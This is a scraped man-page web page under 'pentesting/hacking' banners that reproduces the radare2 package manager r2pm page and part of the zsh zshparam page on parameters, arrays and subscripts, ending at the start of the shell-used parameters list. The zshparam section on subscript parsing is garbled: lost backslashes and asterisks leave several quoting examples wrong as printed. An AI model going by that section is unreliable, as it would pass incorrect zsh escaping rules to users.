  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2199 - Linux cli command r2pm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command r2pm and provides detailed information about the command r2pm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the r2pm.

Allows to install, update, uninstall and discover plugins and tools that can be used with radare2.

Adds an external r2pm repository, no arguments to -a will list all the registered repos, use ‘-a - repo’ to unregister/remove those repos.

Show information about repository and installed packages

Install a package

Open the package script with your favourite editor

Show source code of the r2pm package

Install a package in the system directory

Uninstall a package

Force uninstall a package

Initialize or Update the package database

Uninstall a package from the system directory

List installed packages

Search in database for packages matching keyword

Set the R2PM_TIME env var to tell the time to take package source from git

Run command with R2PM_BINDIR in PATH

Requires -c to clean the R2PM_PLUGDIR

Show version information

Show usage help message

List all special env-vars defined by r2pm internally

Show value of given internal environment variable

Clean the source cache

The database is initialized and pulled automatically, all the named actions have been deprecated, use only flags

Install a package

$ r2pm -i yara3

Install a test package (don’t git pull on $R2PM_GITDIR/yara3)

$ R2PM_GITSKIP=1 r2pm -ci yara3

Avoid init/update calls (don’t git pull on $R2PM_DBDIR)

$ R2PM_OFFLINE=1 r2pm -i yara

Uninstall a package

$ r2pm -u yara3

Search a package

$ r2pm -s yara

List installed packages

$ r2pm -l

SUDO=sudo R2PM_PLUGDIR=/.local/share/radare2/plugins R2PM_BINDIR=/.local/share/radare2/prefix/bin R2PM_OFFLINE=0 R2PM_DBDIR=/.local/share/radare2/r2pm/db R2PM_GITDIR=/.local/share/radare2/r2pm/git R2PM_GITSKIP= R2PM_TIME= R2_LOG_LEVEL R2PM_INCDIR R2PM_LIBDIR R2PM_PREFIX R2PM_LEGACY

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2200 - Linux cli command zshparam

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zshparam and provides detailed information about the command zshparam, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zshparam.

NAME 🖥️ zshparam 🖥️

zsh parameters

DESCRIPTION

A parameter has a name, a value, and a number of attributes. A name may be any sequence of alphanumeric characters and underscores, or the single characters `*’, `@’, `#’, `?’, `-’, `$’, or `!’. A parameter whose name begins with an alphanumeric or underscore is also referred to as a variable.

The attributes of a parameter determine the type of its value, often referred to as the parameter type or variable type, and also control other processing that may be applied to the value when it is referenced. The value type may be a scalar (a string, an integer, or a floating point number), an array (indexed numerically), or an associative array (an unordered set of name-value pairs, indexed by name, also referred to as a hash).

Named scalar parameters may have the exported, -x, attribute, to copy them into the process environment, which is then passed from the shell to any new processes that it starts. Exported parameters are called environment variables. The shell also imports environment variables at startup time and automatically marks the corresponding parameters as exported. Some environment variables are not imported for reasons of security or because they would interfere with the correct operation of other shell features.

Parameters may also be special, that is, they have a predetermined meaning to the shell. Special parameters cannot have their type changed or their readonly attribute turned off, and if a special parameter is unset, then later recreated, the special properties will be retained.

To declare the type of a parameter, or to assign a string or numeric value to a scalar parameter, use the typeset builtin.

The value of a scalar parameter may also be assigned by writing:

name=value

In scalar assignment, value is expanded as a single string, in which the elements of arrays are joined together; filename expansion is not performed unless the option GLOB_ASSIGN is set.

When the integer attribute, -i, or a floating point attribute, -E or -F, is set for name, the value is subject to arithmetic evaluation. Furthermore, by replacing `=’ with `+=’, a parameter can be incremented or appended to. See the section `Array Parameters’ and Arithmetic Evaluation (in zshmisc(1)) for additional forms of assignment.

Note that assignment may implicitly change the attributes of a parameter. For example, assigning a number to a variable in arithmetic evaluation may change its type to integer or float, and with GLOB_ASSIGN assigning a pattern to a variable may change its type to an array.

To reference the value of a parameter, write `$name’ or `${name}’. See Parameter Expansion in zshexpn(1) for complete details. That section also explains the effect of the difference between scalar and array assignment on parameter expansion.

ARRAY PARAMETERS

To assign an array value, write one of:

set -A name value …

name=(value …)

name=([key]=value …)

If no parameter name exists, an ordinary array parameter is created. If the parameter name exists and is a scalar, it is replaced by a new array.

In the third form, key is an expression that will be evaluated in arithmetic context (in its simplest form, an integer) that gives the index of the element to be assigned with value. In this form any elements not explicitly mentioned that come before the largest index to which a value is assigned are assigned an empty string. The indices may be in any order. Note that this syntax is strict: [ and ]= must not be quoted, and key may not consist of the unquoted string ]=, but is otherwise treated as a simple string. The enhanced forms of subscript expression that may be used when directly subscripting a variable name, described in the section `Array Subscripts’ below, are not available.

The syntaxes with and without the explicit key may be mixed. An implicit key is deduced by incrementing the index from the previously assigned element. Note that it is not treated as an error if latter assignments in this form overwrite earlier assignments.

For example, assuming the option KSH_ARRAYS is not set, the following:

array=(one [3]=three four)

causes the array variable array to contain four elements one, an empty string, three and four, in that order.

In the forms where only value is specified, full command line expansion is performed.

In the **[key]=**value form, both key and value undergo all forms of expansion allowed for single word shell expansions (this does not include filename generation); these are as performed by the parameter expansion flag (e) as described in zshexpn(1). Nested parentheses may surround value and are included as part of the value, which is joined into a plain string; this differs from ksh which allows the values themselves to be arrays. A future version of zsh may support that. To cause the brackets to be interpreted as a character class for filename generation, and therefore to treat the resulting list of files as a set of values, quote the equal sign using any form of quoting. Example:

name=([a-z]’=’*)

To append to an array without changing the existing values, use one of the following:

name+=(value …)

name+=([key]=value …)

In the second form key may specify an existing index as well as an index off the end of the old array; any existing value is overwritten by value. Also, it is possible to use **[key]+=**value to append to the existing value at that index.

Within the parentheses on the right hand side of either form of the assignment, newlines and semicolons are treated the same as white space, separating individual values. Any consecutive sequence of such characters has the same effect.

Ordinary array parameters may also be explicitly declared with:

typeset -a name

Associative arrays must be declared before assignment, by using:

typeset -A name

When name refers to an associative array, the list in an assignment is interpreted as alternating keys and values:

set -A name key value …

name=(key value …)

name=([key]=value …)

Note that only one of the two syntaxes above may be used in any given assignment; the forms may not be mixed. This is unlike the case of numerically indexed arrays.

Every key must have a value in this case. Note that this assigns to the entire array, deleting any elements that do not appear in the list. The append syntax may also be used with an associative array:

name+=(key value …)

name+=([key]=value …)

This adds a new key/value pair if the key is not already present, and replaces the value for the existing key if it is. In the second form it is also possible to use **[key]+=**value to append to the existing value at that key. Expansion is performed identically to the corresponding forms for normal arrays, as described above.

To create an empty array (including associative arrays), use one of:

set -A name

name=()

Array Subscripts

Individual elements of an array may be selected using a subscript. A subscript of the form `[exp]’ selects the single element exp, where exp is an arithmetic expression which will be subject to arithmetic expansion as if it were surrounded by `$(())’. The elements are numbered beginning with 1, unless the KSH_ARRAYS option is set in which case they are numbered from zero.

Subscripts may be used inside braces used to delimit a parameter name, thus `${foo[2]}’ is equivalent to `$foo[2]’. If the KSH_ARRAYS option is set, the braced form is the only one that works, as bracketed expressions otherwise are not treated as subscripts.

If the KSH_ARRAYS option is not set, then by default accesses to an array element with a subscript that evaluates to zero return an empty string, while an attempt to write such an element is treated as an error. For backward compatibility the KSH_ZERO_SUBSCRIPT option can be set to cause subscript values 0 and 1 to be equivalent; see the description of the option in zshoptions(1).

The same subscripting syntax is used for associative arrays, except that no arithmetic expansion is applied to exp. However, the parsing rules for arithmetic expressions still apply, which affects the way that certain special characters must be protected from interpretation. See Subscript Parsing below for details.

A subscript of the form `[*]’ or `[@]’ evaluates to all elements of an array; there is no difference between the two except when they appear within double quotes. `"$foo[*]"’ evaluates to `"$foo[1] $foo[2]"’, whereas `"$foo[@]"’ evaluates to `"$foo[1]" “$foo[2]” …’. For associative arrays, `[*]’ or `[@]’ evaluate to all the values, in no particular order. Note that this does not substitute the keys; see the documentation for the `k’ flag under Parameter Expansion Flags in zshexpn(1) for complete details. When an array parameter is referenced as `$name’ (with no subscript) it evaluates to `$name[*]’, unless the KSH_ARRAYS option is set in which case it evaluates to `${name[0]}’ (for an associative array, this means the value of the key `0’, which may not exist even if there are values for other keys).

A subscript of the form `[exp1,exp2]’ selects all elements in the range exp1 to exp2, inclusive. (Associative arrays are unordered, and so do not support ranges.) If one of the subscripts evaluates to a negative number, say -n, then the nth element from the end of the array is used. Thus `$foo[-3]’ is the third element from the end of the array foo, and `$foo[1,-1]’ is the same as `$foo[*]'.

Subscripting may also be performed on non-array values, in which case the subscripts specify a substring to be extracted. For example, if FOO is set to `foobar’, then `echo $FOO[2,5]’ prints `ooba’. Note that some forms of subscripting described below perform pattern matching, and in that case the substring extends from the start of the match of the first subscript to the end of the match of the second subscript. For example,

string=“abcdefghijklm” print ${string[(r)d?,(r)h?]}

prints `defghi’. This is an obvious generalisation of the rule for single-character matches. For a single subscript, only a single character is referenced (not the range of characters covered by the match).

Note that in substring operations the second subscript is handled differently by the r and R subscript flags: the former takes the shortest match as the length and the latter the longest match. Hence in the former case a * at the end is redundant while in the latter case it matches the whole remainder of the string. This does not affect the result of the single subscript case as here the length of the match is irrelevant.

Array Element Assignment

A subscript may be used on the left side of an assignment like so:

name[exp]=value

In this form of assignment the element or range specified by exp is replaced by the expression on the right side. An array (but not an associative array) may be created by assignment to a range or element. Arrays do not nest, so assigning a parenthesized list of values to an element or range changes the number of elements in the array, shifting the other elements to accommodate the new values. (This is not supported for associative arrays.)

This syntax also works as an argument to the typeset command:

typeset “name[exp]"=value

The value may not be a parenthesized list in this case; only single-element assignments may be made with typeset. Note that quotes are necessary in this case to prevent the brackets from being interpreted as filename generation operators. The noglob precommand modifier could be used instead.

To delete an element of an ordinary array, assign `()’ to that element. To delete an element of an associative array, use the unset command:

unset “name[exp]”

Subscript Flags

If the opening bracket, or the comma in a range, in any subscript expression is directly followed by an opening parenthesis, the string up to the matching closing one is considered to be a list of flags, as in `name**[(flags)exp]**'.

The flags s, n and b take an argument; the delimiter is shown below as `:’, but any character, or the matching pairs `()’, `{}’, `[]’, or `<>’, may be used, but note that `<>’ can only be used if the subscript is inside a double quoted expression or a parameter substitution enclosed in braces as otherwise the expression is interpreted as a redirection.

The flags currently understood are:

w If the parameter subscripted is a scalar then this flag makes subscripting work on words instead of characters. The default word separator is whitespace. When combined with the i or I flag, the effect is to produce the index of the first character of the first/last word which matches the given pattern; note that a failed match in this case always yields 0.

s:string:
This gives the string that separates words (for use with the w flag). The delimiter character : is arbitrary; see above.

p
Recognize the same escape sequences as the print builtin in the string argument of a subsequent `s’ flag.

f
If the parameter subscripted is a scalar then this flag makes subscripting work on lines instead of characters, i.e. with elements separated by newlines. This is a shorthand for `pws: :'.

r
Reverse subscripting: if this flag is given, the exp is taken as a pattern and the result is the first matching array element, substring or word (if the parameter is an array, if it is a scalar, or if it is a scalar and the `w’ flag is given, respectively). The subscript used is the number of the matching element, so that pairs of subscripts such as `$foo[(r)??,3]’ and `$foo[(r)??,(r)f*]’ are possible if the parameter is not an associative array. If the parameter is an associative array, only the value part of each pair is compared to the pattern, and the result is that value.

If a search through an ordinary array failed, the search sets the subscript to one past the end of the array, and hence ${array[(r)pattern]} will substitute the empty string. Thus the success of a search can be tested by using the (i) flag, for example (assuming the option KSH_ARRAYS is not in effect):

[[ ${array[(i)pattern]} -le ${#array} ]]

If KSH_ARRAYS is in effect, the -le should be replaced by -lt.

R
Like `r’, but gives the last match. For associative arrays, gives all possible matches. May be used for assigning to ordinary array elements, but not for assigning to associative arrays. On failure, for normal arrays this has the effect of returning the element corresponding to subscript 0; this is empty unless one of the options KSH_ARRAYS or KSH_ZERO_SUBSCRIPT is in effect.

Note that in subscripts with both `r’ and `R’ pattern characters are active even if they were substituted for a parameter (regardless of the setting of GLOB_SUBST which controls this feature in normal pattern matching). The flag `e’ can be added to inhibit pattern matching. As this flag does not inhibit other forms of substitution, care is still required; using a parameter to hold the key has the desired effect:

key2=‘original key’ print ${array[(Re)$key2]}

i
Like `r’, but gives the index of the match instead; this may not be combined with a second argument. On the left side of an assignment, behaves like `r’. For associative arrays, the key part of each pair is compared to the pattern, and the first matching key found is the result. On failure substitutes the length of the array plus one, as discussed under the description of `r’, or the empty string for an associative array.

Note: Although `i’ may be applied to a scalar substitution to find the offset of a substring, the results are likely to be misleading when searching within substitutions that yield an empty string, or when searching for the empty substring.

I
Like `i’, but gives the index of the last match, or all possible matching keys in an associative array. On failure substitutes 0, or the empty string for an associative array. This flag is best when testing for values or keys that do not exist.

Note: If the option KSH_ARRAYS is in effect and no match is found, the result is indistinguishable from the case when the first element of the array matches.

k
If used in a subscript on an associative array, this flag causes the keys to be interpreted as patterns, and returns the value for the first key found where exp is matched by the key. Note this could be any such key as no ordering of associative arrays is defined. This flag does not work on the left side of an assignment to an associative array element. If used on another type of parameter, this behaves like `r'.

K
On an associative array this is like `k’ but returns all values where exp is matched by the keys. On other types of parameters this has the same effect as `R'.

n:expr:
If combined with `r’, `R’, `i’ or `I’, makes them give the nth or nth last match (if expr evaluates to n). This flag is ignored when the array is associative. The delimiter character : is arbitrary; see above.

b:expr:
If combined with `r’, `R’, `i’ or `I’, makes them begin at the nth or nth last element, word, or character (if expr evaluates to n). This flag is ignored when the array is associative. The delimiter character : is arbitrary; see above.

e
This flag causes any pattern matching that would be performed on the subscript to use plain string matching instead. Hence `${array[(re)*]}’ matches only the array element whose value is *. Note that other forms of substitution such as parameter substitution are not inhibited.

This flag can also be used to force * or @ to be interpreted as a single key rather than as a reference to all values. It may be used for either purpose on the left side of an assignment.

See Parameter Expansion Flags (zshexpn(1)) for additional ways to manipulate the results of array subscripting.

Subscript Parsing

This discussion applies mainly to associative array key strings and to patterns used for reverse subscripting (the `r’, `R’, `i’, etc. flags), but it may also affect parameter substitutions that appear as part of an arithmetic expression in an ordinary subscript.

To avoid subscript parsing limitations in assignments to associative array elements, use the append syntax:

aa+=(‘key with “strange” characters’ ‘value string’)

The basic rule to remember when writing a subscript expression is that all text between the opening `[’ and the closing `]’ is interpreted as if it were in double quotes (see zshmisc(1)). However, unlike double quotes which normally cannot nest, subscript expressions may appear inside double-quoted strings or inside other subscript expressions (or both!), so the rules have two important differences.

The first difference is that brackets (`[’ and `]’) must appear as balanced pairs in a subscript expression unless they are preceded by a backslash (`**’). Therefore, within a subscript expression (and unlike true double-quoting) the sequence `*’ becomes `[’, and similarly `***’ becomes `]’. This applies even in cases where a backslash is not normally required; for example, the pattern `[^[]’ (to match any character other than an open bracket) should be written `[^\]’ in a reverse-subscript pattern. However, note that `^\’ and even `^[]’ mean the same thing, because backslashes are always stripped when they appear before brackets!

The same rule applies to parentheses (`(’ and `)’) and braces (`{’ and `}’): they must appear either in balanced pairs or preceded by a backslash, and backslashes that protect parentheses or braces are removed during parsing. This is because parameter expansions may be surrounded by balanced braces, and subscript flags are introduced by balanced parentheses.

The second difference is that a double-quote (`’) may appear as part of a subscript expression without being preceded by a backslash, and therefore that the two characters `**’ remain as two characters in the subscript (in true double-quoting, `*’ becomes `"’). However, because of the standard shell quoting rules, any double-quotes that appear must occur in balanced pairs unless preceded by a backslash. This makes it more difficult to write a subscript expression that contains an odd number of double-quote characters, but the reason for this difference is so that when a subscript expression appears inside true double-quotes, one can still write `***’ (rather than `\’) for `"’.

To use an odd number of double quotes as a key in an assignment, use the typeset builtin and an enclosing pair of double quotes; to refer to the value of that key, again use double quotes:

typeset -A aa typeset “aa[one"two"three"quotes]"=QQQ print “$aa[one"two"three"quotes]”

It is important to note that the quoting rules do not change when a parameter expansion with a subscript is nested inside another subscript expression. That is, it is not necessary to use additional backslashes within the inner subscript expression; they are removed only once, from the innermost subscript outwards. Parameters are also expanded from the innermost subscript first, as each expansion is encountered left to right in the outer expression.

A further complication arises from a way in which subscript parsing is not different from double quote parsing. As in true double-quoting, the sequences `**’, and `**’ remain as two characters when they appear in a subscript expression. To use a literal `*’ or `@’ as an associative array key, the `e’ flag must be used:

typeset -A aa aa[(e)]=star print $aa[(e)]

A last detail must be considered when reverse subscripting is performed. Parameters appearing in the subscript expression are first expanded and then the complete expression is interpreted as a pattern. This has two effects: first, parameters behave as if GLOB_SUBST were on (and it cannot be turned off); second, backslashes are interpreted twice, once when parsing the array subscript and again when parsing the pattern. In a reverse subscript, it’s necessary to use four backslashes to cause a single backslash to match literally in the pattern. For complex patterns, it is often easiest to assign the desired pattern to a parameter and then refer to that parameter in the subscript, because then the backslashes, brackets, parentheses, etc., are seen only when the complete expression is converted to a pattern. To match the value of a parameter literally in a reverse subscript, rather than as a pattern, use `${(q)name}’ (see zshexpn(1)) to quote the expanded value.

Note that the `k’ and `K’ flags are reverse subscripting for an ordinary array, but are not reverse subscripting for an associative array! (For an associative array, the keys in the array itself are interpreted as patterns by those flags; the subscript is a plain string in that case.)

One final note, not directly related to subscripting: the numeric names of positional parameters (described below) are parsed specially, so for example `$2foo’ is equivalent to `${2}foo’. Therefore, to use subscript syntax to extract a substring from a positional parameter, the expansion must be surrounded by braces; for example, `${2[3,5]}’ evaluates to the third through fifth characters of the second positional parameter, but `$2[3,5]’ is the entire second parameter concatenated with the filename generation pattern `[3,5]'.

POSITIONAL PARAMETERS

The positional parameters provide access to the command-line arguments of a shell function, shell script, or the shell itself; see the section `Invocation’, and also the section `Functions’. The parameter n, where n is a number, is the nth positional parameter. The parameter `$0’ is a special case, see the section `Parameters Set By The Shell'.

The parameters *, @ and argv are arrays containing all the positional parameters; thus `$argv[n]’, etc., is equivalent to simply `$n’. Note that the options KSH_ARRAYS or KSH_ZERO_SUBSCRIPT apply to these arrays as well, so with either of those options set, `${argv[0]}’ is equivalent to `$1’ and so on.

Positional parameters may be changed after the shell or function starts by using the set builtin, by assigning to the argv array, or by direct assignment of the form `n**=value’ where n is the number of the positional parameter to be changed. This also creates (with empty values) any of the positions from 1 to n that do not already have values. Note that, because the positional parameters form an array, an array assignment of the form `n=(value)**’ is allowed, and has the effect of shifting all the values at positions greater than n by as many positions as necessary to accommodate the new values.

LOCAL PARAMETERS

Shell function executions delimit scopes for shell parameters. (Parameters are dynamically scoped.) The typeset builtin, and its alternative forms declare, integer, local and readonly (but not export), can be used to declare a parameter as being local to the innermost scope.

When a parameter is read or assigned to, the innermost existing parameter of that name is used. (That is, the local parameter hides any less-local parameter.) However, assigning to a non-existent parameter, or declaring a new parameter with export, causes it to be created in the outermost scope.

Local parameters disappear when their scope ends. unset can be used to delete a parameter while it is still in scope; any outer parameter of the same name remains hidden.

Special parameters may also be made local; they retain their special attributes unless either the existing or the newly-created parameter has the -h (hide) attribute. This may have unexpected effects: there is no default value, so if there is no assignment at the point the variable is made local, it will be set to an empty value (or zero in the case of integers). The following:

typeset PATH=/new/directory:$PATH

is valid for temporarily allowing the shell or programmes called from it to find the programs in /new/directory inside a function.

Note that the restriction in older versions of zsh that local parameters were never exported has been removed.

PARAMETERS SET BY THE SHELL

In the parameter lists that follow, the mark `<S>’ indicates that the parameter is special. `<Z>’ indicates that the parameter does not exist when the shell initializes in sh or ksh emulation mode.

The parameters `!’, `#’, `*’, `-’, `?’, `@’, `$’, `ARGC’, `HISTCMD’, `LINENO’, `PPID’, `status’, `TTYIDLE’, `zsh_eval_context’, `ZSH_EVAL_CONTEXT’, and `ZSH_SUBSHELL’ are read-only and thus cannot be restored by the user, so they are not output by `typeset -p’. This also applies to many read-only parameters loaded from modules.

The following parameters are automatically set by the shell:

! <S> The process ID of the last command started in the background with &, put into the background with the bg builtin, or spawned with coproc.

# <S>
The number of positional parameters in decimal. Note that some confusion may occur with the syntax $#param which substitutes the length of param. Use ${#} to resolve ambiguities. In particular, the sequence `$#-’ in an arithmetic expression is interpreted as the length of the parameter -, q.v.

ARGC <S> <Z>
Same as #.

$ <S>
The process ID of this shell, set when the shell initializes. Processes forked from the shell without executing a new program, such as command substitutions and commands grouped with (), are subshells that duplicate the current shell, and thus substitute the same value for $$ as their parent shell.

- <S>
Flags supplied to the shell on invocation or by the set or setopt commands.

* <S>
An array containing the positional parameters.

argv <S> <Z>
Same as *. Assigning to argv changes the local positional parameters, but argv is not itself a local parameter. Deleting argv with unset in any function deletes it everywhere, although only the innermost positional parameter array is deleted (so * and @ in other scopes are not affected).

@ <S>
Same as argv[@], even when argv is not set.

? <S>
The exit status returned by the last command.

0 <S>
The name used to invoke the current shell, or as set by the -c command line option upon invocation. If the FUNCTION_ARGZERO option is set, $0 is set upon entry to a shell function to the name of the function, and upon entry to a sourced script to the name of the script, and reset to its previous value when the function or script returns.

status <S> <Z>
Same as ?.

pipestatus <S> <Z>
An array containing the exit statuses returned by all commands in the last pipeline.

_ <S>
The last argument of the previous command. Also, this parameter is set in the environment of every command executed to the full pathname of the command.

CPUTYPE
The machine type (microprocessor class or machine model), as determined at run time.

EGID <S>
The effective group ID of the shell process. If you have sufficient privileges, you may change the effective group ID of the shell process by assigning to this parameter. Also (assuming sufficient privileges), you may start a single command with a different effective group ID by `(EGID=gid; command)'

If this is made local, it is not implicitly set to 0, but may be explicitly set locally.

EUID <S>
The effective user ID of the shell process. If you have sufficient privileges, you may change the effective user ID of the shell process by assigning to this parameter. Also (assuming sufficient privileges), you may start a single command with a different effective user ID by `(EUID=uid; command)'

If this is made local, it is not implicitly set to 0, but may be explicitly set locally.

ERRNO <S>
The value of errno (see errno(3)) as set by the most recently failed system call. This value is system dependent and is intended for debugging purposes. It is also useful with the zsh/system module which allows the number to be turned into a name or message.

To use this parameter, it must first be assigned a value (typically 0 (zero)). It is initially unset for scripting compatibility.

FUNCNEST <S>
Integer. If greater than or equal to zero, the maximum nesting depth of shell functions. When it is exceeded, an error is raised at the point where a function is called. The default value is determined when the shell is configured, but is typically 500. Increasing the value increases the danger of a runaway function recursion causing the shell to crash. Setting a negative value turns off the check.

GID <S>
The real group ID of the shell process. If you have sufficient privileges, you may change the group ID of the shell process by assigning to this parameter. Also (assuming sufficient privileges), you may start a single command under a different group ID by `(GID=gid; command)'

If this is made local, it is not implicitly set to 0, but may be explicitly set locally.

HISTCMD
The current history event number in an interactive shell, in other words the event number for the command that caused $HISTCMD to be read. If the current history event modifies the history, HISTCMD changes to the new maximum history event number.

HOST
The current hostname.

LINENO <S>
The line number of the current line within the current script, sourced file, or shell function being executed, whichever was started most recently. Note that in the case of shell functions the line number refers to the function as it appeared in the original definition, not necessarily as displayed by the functions builtin.

LOGNAME
If the corresponding variable is not set in the environment of the shell, it is initialized to the login name corresponding to the current login session. This parameter is exported by default but this can be disabled using the typeset builtin. The value is set to the string returned by the getlogin(3) system call if that is available.

MACHTYPE
The machine type (microprocessor class or machine model), as determined at compile time.

OLDPWD
The previous working directory. This is set when the shell initializes and whenever the directory changes.

OPTARG <S>
The value of the last option argument processed by the getopts command.

OPTIND <S>
The index of the last option argument processed by the getopts command.

OSTYPE
The operating system, as determined at compile time.

PPID <S>
The process ID of the parent of the shell, set when the shell initializes. As with $$, the value does not change in subshells created as a duplicate of the current shell.

PWD
The present working directory. This is set when the shell initializes and whenever the directory changes.

RANDOM <S>
A pseudo-random integer from 0 to 32767, newly generated each time this parameter is referenced. The random number generator can be seeded by assigning a numeric value to RANDOM.

The values of RANDOM form an intentionally-repeatable pseudo-random sequence; subshells that reference RANDOM will result in identical pseudo-random values unless the value of RANDOM is referenced or seeded in the parent shell in between subshell invocations.

SECONDS <S>
The number of seconds since shell invocation. If this parameter is assigned a value, then the value returned upon reference will be the value that was assigned plus the number of seconds since the assignment.

Unlike other special parameters, the type of the SECONDS parameter can be changed using the typeset command. The type may be changed only to one of the floating point types or back to integer. For example, `typeset -F SECONDS’ causes the value to be reported as a floating point number. The value is available to microsecond accuracy, although the shell may show more or fewer digits depending on the use of typeset. See the documentation for the builtin typeset in zshbuiltins(1) for more details.

SHLVL <S>
Incremented by one each time a new shell is started.

signals
An array containing the names of the signals. Note that with the standard zsh numbering of array indices, where the first element has index 1, the signals are offset by 1 from the signal number used by the operating system. For example, on typical Unix-like systems HUP is signal number 1, but is referred to as $signals[2]. This is because of EXIT at position 1 in the array, which is used internally by zsh but is not known to the operating system.

TRY_BLOCK_ERROR <S>
In an always block, indicates whether the preceding list of code caused an error. The value is 1 to indicate an error, 0 otherwise. It may be reset, clearing the error condition. See Complex Commands in zshmisc(1)

TRY_BLOCK_INTERRUPT <S>
This variable works in a similar way to TRY_BLOCK_ERROR, but represents the status of an interrupt from the signal SIGINT, which typically comes from the keyboard when the user types ^C. If set to 0, any such interrupt will be reset; otherwise, the interrupt is propagated after the always block.

Note that it is possible that an interrupt arrives during the execution of the always block; this interrupt is also propagated.

TTY
The name of the tty associated with the shell, if any.

TTYIDLE <S>
The idle time of the tty associated with the shell in seconds or -1 if there is no such tty.

UID <S>
The real user ID of the shell process. If you have sufficient privileges, you may change the user ID of the shell by assigning to this parameter. Also (assuming sufficient privileges), you may start a single command under a different user ID by `(UID=uid; command)'

If this is made local, it is not implicitly set to 0, but may be explicitly set locally.

USERNAME <S>
The username corresponding to the real user ID of the shell process. If you have sufficient privileges, you may change the username (and also the user ID and group ID) of the shell by assigning to this parameter. Also (assuming sufficient privileges), you may start a single command under a different username (and user ID and group ID) by `(USERNAME=username; command)'

VENDOR
The vendor, as determined at compile time.

zsh_eval_context <S> <Z> (ZSH_EVAL_CONTEXT <S>)
An array (colon-separated list) indicating the context of shell code that is being run. Each time a piece of shell code that is stored within the shell is executed a string is temporarily appended to the array to indicate the type of operation that is being performed. Read in order the array gives an indication of the stack of operations being performed with the most immediate context last.

Note that the variable does not give information on syntactic context such as pipelines or subshells. Use $ZSH_SUBSHELL to detect subshells.

The context is one of the following:

cmdarg Code specified by the -c option to the command line that invoked the shell.

cmdsubst
Command substitution using the `` or $() construct.

equalsubst
File substitution using the =() construct.

eval
Code executed by the eval builtin.

evalautofunc
Code executed with the KSH_AUTOLOAD mechanism in order to define an autoloaded function.

fc
Code from the shell history executed by the -e option to the fc builtin.

file
Lines of code being read directly from a file, for example by the source builtin.

filecode
Lines of code being read from a .zwc file instead of directly from the source file.

globqual
Code executed by the e or + glob qualifier.

globsort
Code executed to order files by the o glob qualifier.

insubst
File substitution using the <() construct.

loadautofunc
Code read directly from a file to define an autoloaded function.

outsubst
File substitution using the >() construct.

sched
Code executed by the sched builtin.

shfunc
A shell function.

stty
Code passed to stty by the STTY environment variable. Normally this is passed directly to the system’s stty command, so this value is unlikely to be seen in practice.

style
Code executed as part of a style retrieved by the zstyle builtin from the zsh/zutil module.

toplevel
The highest execution level of a script or interactive shell.

trap
Code executed as a trap defined by the trap builtin. Traps defined as functions have the context shfunc. As traps are asynchronous they may have a different hierarchy from other code.

zpty
Code executed by the zpty builtin from the zsh/zpty module.

zregexparse-guard
Code executed as a guard by the zregexparse command from the zsh/zutil module.

zregexparse-action
Code executed as an action by the zregexparse command from the zsh/zutil module.

ZSH_ARGZERO
If zsh was invoked to run a script, this is the name of the script. Otherwise, it is the name used to invoke the current shell. This is the same as the value of $0 when the POSIX_ARGZERO option is set, but is always available.

ZSH_EXECUTION_STRING
If the shell was started with the option -c, this contains the argument passed to the option. Otherwise it is not set.

ZSH_NAME
Expands to the basename of the command used to invoke this instance of zsh.

ZSH_PATCHLEVEL
The output of `git describe –tags –long’ for the zsh repository used to build the shell. This is most useful in order to keep track of versions of the shell during development between releases; hence most users should not use it and should instead rely on $ZSH_VERSION.

zsh_scheduled_events
See the section `The zsh/sched Module’ in zshmodules(1).

ZSH_SCRIPT
If zsh was invoked to run a script, this is the name of the script, otherwise it is unset.

ZSH_SUBSHELL
Readonly integer. Initially zero, incremented each time the shell forks to create a subshell for executing code. Hence `(print $ZSH_SUBSHELL)’ and `print $(print $ZSH_SUBSHELL)’ output 1, while `( (print $ZSH_SUBSHELL) )’ outputs 2.

ZSH_VERSION
The version number of the release of zsh.

PARAMETERS USED BY THE SHELL

The following parameters are used by the shell. Again, `<S>’ indicates that the parameter is special and `<Z>’ indicates that the parameter does not exist when the shell initializes in sh or ksh emulation mode.

In cases where there are two parameters with an upper- and lowercase form of the same name, such as path and PATH, the lowercase form is an array and the uppercase form is a scalar with the elements of the array joined together by colons. These are similar to tied parameters created via `typeset -T’. The normal use for the colon-separated form is for exporting to the environment, while the array form is easier to manipulate within the shell. Note that unsetting either of the pair will unset the other; they retain their special properties when recreated, and recreating one of the pair will recreate the other.

